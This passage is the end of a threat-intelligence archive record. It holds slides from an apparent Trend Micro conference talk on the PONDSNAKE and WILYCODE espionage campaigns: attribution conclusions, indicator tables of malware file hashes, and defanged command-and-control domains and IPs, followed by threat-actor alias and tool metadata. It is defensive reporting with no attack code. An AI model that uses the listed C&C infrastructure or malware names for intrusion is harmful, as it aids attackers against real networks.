Campaigns\n\nWILYCODE\n\nPONDSNAKE\n\nConclusion\n\n50 | ©2025 Trend Micro Inc.\n\nTLP:WHITE\n\nConclusion\n\n• Old meets new: PONDSANKE and WILYCODE\n− Recycling previous loader or backdoor\n− Adding updated or new payload for modern operations\n\n• The Complexity of Modern Attribution\n− TTPs-based attribution: Personnel can migrate to new entities\n− Backdoor-based attribution: The backdoor supply chains confuse the \ndistinction between threat actors\n− Requiring multiple independent evidences rather than a single artifact to ensure a \nhigher confidence of attribution\n\n51 | ©2025 Trend Micro Inc.\n\nTLP:WHITE\n\nIndicators of Compromise: Files (1/3)\n\nHash Filename\n\nf02a6c1eba1d25120edf4893ccccbfff7184e6f9 calc.exe\n\n3cb8156020eaa1b3c4609ed3cc86a7f0b945eba0 Client.exe\n\n5a16e5b91f92bf19bea89cd03bdfb152e68593b3 Client.exe\n\n1c2689b3a459260a62fdd83a07d9cbb9c82ad40b Client.exe\n\n4299b95d3879aebbac4e99c948ebbf1c16f79694 Client.exe\n\n699817c45546776736f835ce60a9e780b3d409c1 Client.exe\n\nc46b5d7eb02c40db35a4c5322a3a39f220244e45 Client.exe\n\nfb2ff3a660f22c7bda72911ff1e4216e1ae8925f Client.exe\n\n1c2689b3a459260a62fdd83a07d9cbb9c82ad40b vmware.exe\n\nc7b169a31972ca2ded7e75474d3ba14008f971fa windowsupdate.exe\n\naa40e0ff81ce7f18c3bcf92847450d8f671aa7f5 vmware.exe\n\n1ca6b1284b8bb545b45571f7941a0b00cb337810 client.txt\n\n74ae90411b6500f3af950b832962d2c282ed547a Loader.exe\n\n0714c10773e94a4b90ed16a8cb7db02875f47ed6 client.pdo\n\n52 | ©2025 Trend Micro Inc.\n\nCampaign Description\n\nPONDSNAKE RESHELL backdoor\n\nPONDSNAKE RESHELL backdoor\n\nPONDSNAKE RESHELL backdoor\n\nPONDSNAKE SnakeC2 (v3) backdoor\n\nPONDSNAKE SnakeC2 (v3) backdoor\n\nPONDSNAKE SnakeC2 (v3) backdoor\n\nPONDSNAKE SnakeC2 (v3) backdoor\n\nPONDSNAKE SnakeC2 (v3) backdoor\n\nPONDSNAKE SnakeC2 (v3) backdoor\n\nPONDSNAKE SnakeC2 (v4) backdoor\n\nPONDSNAKE SnakeC2 (v4) backdoor\n\nPONDSNAKE SnakeC2 (v4) backdoor\n\nPONDSNAKE SnakeC2 (varient) loader\n\nPONDSNAKE Encrypted SnakeC2 (varient) payload\n\nTLP:WHITE\n\nIndicators of Compromise: Files (2/3)\n\nHash Filename\n\n086c11f4c9640ff01f4634a8c7f83dc130682174 behavior.dll\n\n14fec3cda4d5f448276c0755c956875326a9e33b behavior.dll\n\n4629373208637d8d1379999a9c16b1a15428d885 behavior.dll\n\n18ab2f763a043c1b15751f46308e343450b08e78 behavior.dll\n\nad5b53ef14c53dd5a7c0b92def23358c04187e3d behavior.dll\n\nb5c485a983feb3818549894e22862e3088fb7b13 behavior.dll\n\nd9c765ca3dd9acd038e4728a67339a7f2e11daa4 behavior.dll\n\n226777071b4ecb8cf9bbe909b5a1b5d2317f6290\n\n57fe1f966f8a0fbdffc0cb06a59c797caeceb2db\n\n83ae1b5ef0f57b4c8d389097450cdadaf625b046\n\nac786011d46026144b4feb99f940915bb202df03\n\nf668c34c522fa163a6319dadf7641ed22b86b7de\n\n976466e6bf07e2e85a3833ef0e9bcaac769dfd64 Agent\n\n95f3afe953282de414099dd1d88339f7d0140045 Agent\n\n53 | ©2025 Trend Micro Inc.\n\nCampaign Description\n\nPONDSNAKE NEOBEACON loader\n\nPONDSNAKE NEOBEACON loader\n\nPONDSNAKE NEOBEACON loader\n\nPONDSNAKE NEOBEACON loader\n\nPONDSNAKE NEOBEACON loader\n\nPONDSNAKE NEOBEACON loader\n\nPONDSNAKE NEOBEACON loader\n\nPONDSNAKE NEOBEACON (Windows)\n\nPONDSNAKE NEOBEACON (Windows)\n\nPONDSNAKE NEOBEACON (Windows)\n\nPONDSNAKE NEOBEACON (Windows)\n\nPONDSNAKE NEOBEACON (Windows)\n\nPONDSNAKE NEOBEACON (Linux)\n\nPONDSNAKE NEOBEACON (Linux)\n\nHash\n\n9f6a7ee952ea5a94a9d954af361e54184695f591\n\n0718a42e4fd95a8fa9cc3894b1d8714270399921\n\n84985adf6fcde0921aa6a955076ba67dd510102e\n\nbe3d9ee51892116992d098b23958fe6167b06282\n\n3b7c9fc01772254cdd4f3cbc327b2dd11d102c14\n\n54 | ©2025 Trend Micro Inc.\n\nIndicators of Compromise: Files (3/3)\n\nFilename\n\nciscosparklauncher.dll\n\nciscosparklauncher.dll\n\nciscosparklauncher.dll\n\nciscosparklauncher.dll\n\nGameuxInstallHelper.dll\n\nCampaign\n\nWILYCODE\n\nWILYCODE\n\nWILYCODE\n\nWILYCODE\n\nWILYCODE\n\nTLP:WHITE\n\nDescription\n\nLoader (HyperBro Launcher)\n\nLoader (HyperBro Launcher)\n\nLoader (HyperBro Launcher)\n\nLoader (HyperBro Launcher)\n\nLoader (HyperBro Launcher)\n\nDomain/IP Address\n\n45.76.213[.]172\n\n38.54.115[.]169\n\n38.54.16[.]227\n\n38.54.17[.]22\n\n27.124.19[.]90\n\n154.196.187[.]90\n\n118.107.221[.]43\n\n38.54.31[.]213\n\n38.60.199[.]222\n\n38.54.31[.]99\n\n38.54.89[.]38\n\n118.107.221[.]14\n\n45.131.153[.]211\n\n156.231.11[.]86\n\n55 | ©2025 Trend Micro Inc.\n\nIndicators of Compromise: Network\n\nCampaign\n\nPONDSNAKE\n\nPONDSNAKE\n\nPONDSNAKE\n\nPONDSNAKE\n\nPONDSNAKE\n\nPONDSNAKE\n\nPONDSNAKE\n\nPONDSNAKE\n\nPONDSNAKE\n\nPONDSNAKE\n\nPONDSNAKE\n\nPONDSNAKE\n\nPONDSNAKE\n\nPONDSNAKE\n\nDescription\n\nSoftEther server\n\nSoftEther server\n\nHosting server\n\nHosting server\n\nHosting server\n\nRESHELL C\u0026C server\n\nRESHELL C\u0026C server\n\nSnakeC2 C\u0026C server\n\nSnakeC2 C\u0026C server\n\nSnakeC2 C\u0026C server\n\nSnakeC2 C\u0026C server\n\nSnakeC2 C\u0026C server\n\nVShell C\u0026C server\n\nCobalt Strike C\u0026C Server\n\nDomain/IP Address\n\ninvestment1[.]top\n\ncooke-int[.]com\n\nsu2769[.]com\n\nfu5599[.]com\n\n103.75.46[.]123\n\n103.42.176[.]156\n\n149.30.232[.]116\n\n206.119.178[.]91\n\n144.172.92[.]144\n\n178.16.52[.]194\n\n91.92.241[.]247\n\n45.115.124[.]42\n\nCampaign\n\nWILYCODE\n\nWILYCODE\n\nWILYCODE\n\nWILYCODE\n\nWILYCODE\n\nWILYCODE\n\nWILYCODE\n\nWILYCODE\n\nWILYCODE\n\nWILYCODE\n\nWILYCODE\n\nWILYCODE\n\nTLP:WHITE\n\nDescription\n\nCobalt Strike C\u0026C server\n\nCobalt Strike C\u0026C server\n\nCobalt Strike C\u0026C server\n\nCobalt Strike C\u0026C server\n\nCobalt Strike C\u0026C server\n\nCobalt Strike C\u0026C server\n\nCobalt Strike C\u0026C server\n\nCobalt Strike C\u0026C server\n\nCobalt Strike C\u0026C server\n\nCobalt Strike C\u0026C server\n\nCobalt Strike C\u0026C server\n\nVShell C\u0026C server\n\n©2025 Trend Micro Inc.\n56 | ©2025 Trend Micro Inc.",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"pdf"
	],
	"references": [
		"https://jsac.jpcert.or.jp/archive/2026/pdf/JSAC2026_1_3_joseph_chen_en.pdf"
	],
	"report_names": [
		"JSAC2026_1_3_joseph_chen_en.pdf"
	],
	"threat_actors": [
		{
			"id": "9f101d9c-05ea-48b9-b6f1-168cd6d06d12",
			"created_at": "2023-01-06T13:46:39.396409Z",
			"updated_at": "2026-10-20T02:00:15.385719Z",
			"deleted_at": null,
			"main_name": "Earth Lusca",
			"aliases": [
				"Red Scylla",
				"CHROMIUM",
				"ControlX",
				"TAG-22",
				"Red Dev 10",
				"BRONZE UNIVERSITY",
				"AQUATIC PANDA",
				"RedHotel",
				"Charcoal Typhoon",
				"BountyGlad"
			],
			"source_name": "MISPGALAXY:Earth Lusca",
			"tools": [
				"FunnySwitch",
				"RouterGod",
				"SprySOCKS",
				"ShadowPad",
				"POISONPLUG",
				"Barlaiy",
				"Spyder"
			],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "6a0effeb-3ee2-4a67-9a9f-ef5c330b1c3a",
			"created_at": "2023-09-07T02:02:47.827633Z",
			"updated_at": "2026-10-20T02:00:16.104066Z",
			"deleted_at": null,
			"main_name": "RedHotel",
			"aliases": [
				"Operation FishMedley",
				"RedHotel",
				"TAG-22"
			],
			"source_name": "ETDA:RedHotel",
			"tools": [
				"Agentemis",
				"BIOPASS",
				"BIOPASS RAT",
				"BleDoor",
				"Brute Ratel",
				"Brute Ratel C4",
				"Cobalt Strike",
				"CobaltStrike",
				"FunnySwitch",
				"POISONPLUG.SHADOW",
				"RbDoor",
				"RibDoor",
				"RouterGod",
				"ShadowPad Winnti",
				"SprySOCKS",
				"Spyder",
				"Winnti",
				"XShellGhost",
				"cobeacon"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "d5451198-ac6b-40af-b8ef-1afb549c2dc8",
			"created_at": "2024-03-21T02:00:04.728286Z",
			"updated_at": "2026-10-20T02:00:19.587526Z",
			"deleted_at": null,
			"main_name": "Earth Krahang",
			"aliases": [],
			"source_name": "MISPGALAXY:Earth Krahang",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "e3492534-85a6-4c87-a754-5ae4a56d7c8c",
			"created_at": "2022-10-25T15:50:23.819113Z",
			"updated_at": "2026-10-20T02:00:12.165595Z",
			"deleted_at": null,
			"main_name": "Threat Group-3390",
			"aliases": [
				"Threat Group-3390",
				"Earth Smilodon",
				"TG-3390",
				"Emissary Panda",
				"BRONZE UNION",
				"APT27",
				"Iron Tiger",
				"LuckyMouse",
				"Linen Typhoon"
			],
			"source_name": "MITRE:Threat Group-3390",
			"tools": [
				"Systeminfo",
				"gsecdump",
				"PlugX",
				"ASPXSpy",
				"Cobalt Strike",
				"Mimikatz",
				"Impacket",
				"gh0st RAT",
				"certutil",
				"China Chopper",
				"HTTPBrowser",
				"Tasklist",
				"netstat",
				"SysUpdate",
				"HyperBro",
				"ZxShell",
				"RCSession",
				"ipconfig",
				"Clambling",
				"pwdump",
				"NBTscan",
				"Pandora",
				"Windows Credential Editor"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "f86ac24d-0aef-425c-8087-c0dd270060b9",
			"created_at": "2024-04-24T02:02:07.638437Z",
			"updated_at": "2026-10-20T02:00:10.98895Z",
			"deleted_at": null,
			"main_name": "Earth Krahang",
			"aliases": [],
			"source_name": "ETDA:Earth Krahang",
			"tools": [
				"Agent.dhwf",
				"Agentemis",
				"Cobalt Strike",
				"CobaltStrike",
				"Destroy RAT",
				"DestroyRAT",
				"DinodasRAT",
				"Kaba",
				"Korplug",
				"POISONPLUG.SHADOW",
				"PlugX",
				"RedDelta",
				"Reshell",
				"ShadowPad Winnti",
				"Sogu",
				"TIGERPLUG",
				"TVT",
				"Thoper",
				"XDealer",
				"XShellGhost",
				"Xamtrav",
				"cobeacon"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "4d5f939b-aea9-4a0e-8bff-003079a261ea",
			"created_at": "2023-01-06T13:46:39.04841Z",
			"updated_at": "2026-10-20T02:00:12.536499Z",
			"deleted_at": null,
			"main_name": "APT41",
			"aliases": [
				"WICKED SPIDER",
				"TA415",
				"Grayfly",
				"WICKED PANDA",
				"BRONZE ATLAS",
				"BRONZE EXPORT",
				"Brass Typhoon",
				"Winnti",
				"Double Dragon",
				"G0096",
				"BARIUM",
				"Red Kelpie",
				"Earth Baku",
				"HOODOO",
				"TG-2633",
				"Leopard Typhoon",
				"G0044",
				"SPIRE CASTLE"
			],
			"source_name": "MISPGALAXY:APT41",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "e698860d-57e8-4780-b7c3-41e5a8314ec0",
			"created_at": "2022-10-25T15:50:23.287929Z",
			"updated_at": "2026-10-20T02:00:06.637597Z",
			"deleted_at": null,
			"main_name": "APT41",
			"aliases": [
				"APT41",
				"Wicked Panda",
				"Brass Typhoon",
				"BARIUM"
			],
			"source_name": "MITRE:APT41",
			"tools": [
				"ASPXSpy",
				"BITSAdmin",
				"PlugX",
				"Impacket",
				"gh0st RAT",
				"netstat",
				"PowerSploit",
				"ZxShell",
				"KEYPLUG",
				"LightSpy",
				"ipconfig",
				"sqlmap",
				"China Chopper",
				"ShadowPad",
				"MESSAGETAP",
				"Mimikatz",
				"certutil",
				"njRAT",
				"Cobalt Strike",
				"pwdump",
				"BLACKCOFFEE",
				"MOPSLED",
				"ROCKBOOT",
				"dsquery",
				"Winnti for Linux",
				"DUSTTRAP",
				"Derusbi",
				"ftp"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "b9cc0c22-326e-44f9-be18-b18ca3959d30",
			"created_at": "2026-09-17T02:00:03.741604Z",
			"updated_at": "2026-10-20T02:00:07.982256Z",
			"deleted_at": null,
			"main_name": "BRONZE ATLAS",
			"aliases": [
				"APT41 ",
				"BARIUM ",
				"Blackfly ",
				"Brass Typhoon",
				"CTG-2633",
				"Earth Baku ",
				"GREF",
				"Group 72 ",
				"Red Kelpie ",
				"TA415 ",
				"TG-2633 ",
				"Wicked Panda ",
				"Winnti"
			],
			"source_name": "Secureworks:BRONZE ATLAS",
			"tools": [
				"Acehash",
				"CCleaner v5.33 backdoor",
				"ChinaChopper",
				"Cobalt Strike",
				"DUSTPAN",
				"Dicey MSDN",
				"Dodgebox",
				"ForkPlayground",
				"HUC Proxy Malware (Htran)",
				"Mimikatz",
				"PINEGROVE",
				"PipeMon",
				"PlugX",
				"PortReuse",
				"PowerShell Empire",
				"RCMD",
				"RbDoor",
				"SPEEDBOAT",
				"SQLULDR2",
				"ShadowPad",
				"Sidewalk",
				"Speculoos",
				"StealthVector",
				"TeamViewer",
				"Voldemort",
				"Winnkit",
				"Winnti",
				"reg save",
				"vssadmin"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "6abcc917-035c-4e9b-a53f-eaee636749c3",
			"created_at": "2022-10-25T16:07:23.565337Z",
			"updated_at": "2026-10-20T02:00:11.124516Z",
			"deleted_at": null,
			"main_name": "Earth Lusca",
			"aliases": [
				"Bronze University",
				"Charcoal Typhoon",
				"Chromium",
				"G1006",
				"Red Dev 10",
				"Red Scylla"
			],
			"source_name": "ETDA:Earth Lusca",
			"tools": [
				"Agentemis",
				"AntSword",
				"BIOPASS",
				"BIOPASS RAT",
				"BadPotato",
				"Behinder",
				"BleDoor",
				"Cobalt Strike",
				"CobaltStrike",
				"Doraemon",
				"FRP",
				"Fast Reverse Proxy",
				"FunnySwitch",
				"HUC Port Banner Scanner",
				"KTLVdoor",
				"Mimikatz",
				"NBTscan",
				"POISONPLUG.SHADOW",
				"PipeMon",
				"RbDoor",
				"RibDoor",
				"RouterGod",
				"SAMRID",
				"ShadowPad Winnti",
				"SprySOCKS",
				"WinRAR",
				"Winnti",
				"XShellGhost",
				"cobeacon",
				"fscan",
				"lcx",
				"nbtscan"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "3ede153b-35d6-447d-83f7-299dd1bedc64",
			"created_at": "2026-01-18T02:00:03.065065Z",
			"updated_at": "2026-10-20T02:00:22.12461Z",
			"deleted_at": null,
			"main_name": "LongNosedGoblin",
			"aliases": [],
			"source_name": "MISPGALAXY:LongNosedGoblin",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "d53593c3-2819-4af3-bf16-0c39edc64920",
			"created_at": "2022-10-27T08:27:13.212301Z",
			"updated_at": "2026-10-20T02:00:10.873003Z",
			"deleted_at": null,
			"main_name": "Earth Lusca",
			"aliases": [
				"Earth Lusca",
				"TAG-22",
				"Charcoal Typhoon",
				"CHROMIUM",
				"ControlX"
			],
			"source_name": "MITRE:Earth Lusca",
			"tools": [
				"Mimikatz",
				"PowerSploit",
				"Tasklist",
				"certutil",
				"Cobalt Strike",
				"Winnti for Linux",
				"Nltest",
				"NBTscan",
				"ShadowPad"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "c63ab035-f9f2-4723-959b-97a7b98b5942",
			"created_at": "2023-01-06T13:46:38.298354Z",
			"updated_at": "2026-10-20T02:00:04.493105Z",
			"deleted_at": null,
			"main_name": "APT27",
			"aliases": [
				"GreedyTaotie",
				"EMISSARY PANDA",
				"Iron Taurus",
				"TEMP.Hippo",
				"Budworm",
				"Iron Tiger",
				"G0027",
				"SHORE CASTLE",
				"TG-3390",
				"Lucky Mouse",
				"Earth Smilodon",
				"Red Phoenix",
				"Group 35",
				"ZipToken",
				"BRONZE UNION",
				"Circle Typhoon",
				"Linen Typhoon"
			],
			"source_name": "MISPGALAXY:APT27",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "e42ec3de-8f88-45fa-883e-99bfd143bdcb",
			"created_at": "2026-09-14T02:00:04.262709Z",
			"updated_at": "2026-10-20T02:00:09.906427Z",
			"deleted_at": null,
			"main_name": "BRONZE UNION",
			"aliases": [
				"APT27 ",
				"Bowser",
				"Budworm ",
				"Circle Typhoon ",
				"Emissary Panda ",
				"Group35",
				"Iron Tiger ",
				"Linen Typhoon ",
				"Lucky Mouse ",
				"TG-3390 ",
				"Temp.Hippo "
			],
			"source_name": "Secureworks:BRONZE UNION",
			"tools": [
				"9002",
				"ASPXSpy",
				"AbcShell",
				"China Chopper",
				"Chropper for jsp",
				"EAGERBEE",
				"Enfal",
				"GNY Shell",
				"GetPassword",
				"Gh0st RAT",
				"Godzilla Webshell",
				"HttpBrowser",
				"Hunter",
				"HyperBro",
				"Kekeo",
				"Mimikatz",
				"OwaAuth",
				"PCShare",
				"PhantomNet",
				"PlugX",
				"PoisonIvy",
				"PwDump",
				"RCMD",
				"ReGeorg",
				"Remcos",
				"RootTows",
				"Sysupdate",
				"UDTRAT",
				"Warzone RAT",
				"Wonknu",
				"Wrapikatz",
				"ZxShell"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "a944f36a-368d-49d4-bc10-548679e9fcf4",
			"created_at": "2026-09-17T02:00:03.699039Z",
			"updated_at": "2026-10-20T02:00:07.521166Z",
			"deleted_at": null,
			"main_name": "BRONZE UNIVERSITY",
			"aliases": [
				"Aquatic Panda",
				"Aquatic Panda ",
				"CHROMIUM",
				"CHROMIUM ",
				"Charcoal Typhoon",
				"Charcoal Typhoon ",
				"Earth Lusca",
				"Earth Lusca ",
				"FISHMONGER ",
				"Red Dev 10",
				"Red Dev 10 ",
				"Red Scylla",
				"Red Scylla ",
				"RedHotel",
				"RedHotel ",
				"Tag-22",
				"Tag-22 "
			],
			"source_name": "Secureworks:BRONZE UNIVERSITY",
			"tools": [
				"Brute Ratel C4",
				"Cobalt Strike",
				"Fishmaster",
				"FunnySwitch",
				"ShadowPad",
				"SprySOCKS",
				"Spyder",
				"njRAT"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "5c13338b-eaed-429a-9437-f5015aa98276",
			"created_at": "2022-10-25T16:07:23.582715Z",
			"updated_at": "2026-10-20T02:00:11.292147Z",
			"deleted_at": null,
			"main_name": "Emissary Panda",
			"aliases": [
				"APT 27",
				"ATK 15",
				"Bronze Union",
				"Budworm",
				"Circle Typhoon",
				"Earth Smilodon",
				"Emissary Panda",
				"G0027",
				"Group 35",
				"Iron Taurus",
				"Iron Tiger",
				"Linen Typhoon",
				"LuckyMouse",
				"Operation DRBControl",
				"Operation Iron Tiger",
				"Operation PZChao",
				"Operation SpoiledLegacy",
				"Operation StealthyTrident",
				"Red Phoenix",
				"TEMP.Hippo",
				"TG-3390",
				"ZipToken"
			],
			"source_name": "ETDA:Emissary Panda",
			"tools": [
				"ASPXSpy",
				"ASPXTool",
				"Agent.dhwf",
				"AngryRebel",
				"Antak",
				"CHINACHOPPER",
				"China Chopper",
				"Destroy RAT",
				"DestroyRAT",
				"FOCUSFJORD",
				"Farfli",
				"Gh0st RAT",
				"Ghost RAT",
				"HTTPBrowser",
				"HTran",
				"HUC Packet Transmit Tool",
				"HighShell",
				"HttpBrowser RAT",
				"HttpDump",
				"HyperBro",
				"HyperSSL",
				"HyperShell",
				"Kaba",
				"Korplug",
				"LOLBAS",
				"LOLBins",
				"Living off the Land",
				"Mimikatz",
				"Moudour",
				"Mydoor",
				"Nishang",
				"OwaAuth",
				"PCRat",
				"PlugX",
				"ProcDump",
				"PsExec",
				"RedDelta",
				"SEASHARPEE",
				"Sensocode",
				"SinoChopper",
				"Sogu",
				"SysUpdate",
				"TIGERPLUG",
				"TVT",
				"Thoper",
				"Token Control",
				"TokenControl",
				"TwoFace",
				"WCE",
				"Windows Credential Editor",
				"Windows Credentials Editor",
				"Xamtrav",
				"ZXShell",
				"gsecdump",
				"luckyowa"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1791597802,
	"ts_updated_at": 1792487414,
	"ts_creation_date": 1767943518,
	"ts_modification_date": 1767943518,
	"files": {
		"pdf": "https://archive.orkl.eu/07b15a0d84a1c396b927209946f8054e3df4d72c.pdf",
		"text": "https://archive.orkl.eu/07b15a0d84a1c396b927209946f8054e3df4d72c.txt",
		"img": "https://archive.orkl.eu/07b15a0d84a1c396b927209946f8054e3df4d72c.jpg"
	}
}